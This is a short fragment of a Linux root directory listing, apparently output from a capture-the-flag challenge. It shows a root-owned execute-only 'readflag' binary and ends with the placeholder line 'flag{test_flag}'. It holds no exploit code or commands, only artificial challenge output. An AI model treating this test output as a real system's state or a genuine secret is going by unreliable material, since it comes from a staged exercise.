dr-xr-xr-x 368 root root 0 Aug 27 14:51 proc
---x--x--x 1 root root 161 Aug 22 17:52 readflag
drwx------ 2 root root 4096 Aug 11 00:00 root
drwxr-xr-x 1 root root 4096 Aug 12 22:27 run
lrwxrwxrwx 1 root root 8 May 12 19:25 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Aug 11 00:00 srv
dr-xr-xr-x 11 root root 0 Aug 27 14:51 sys
drwxrwxrwt 1 root root 4096 Aug 27 19:03 tmp
drwxr-xr-x 1 root root 4096 Aug 11 00:00 usr
drwxr-xr-x 1 root root 4096 Aug 12 22:26 var
flag{test_flag}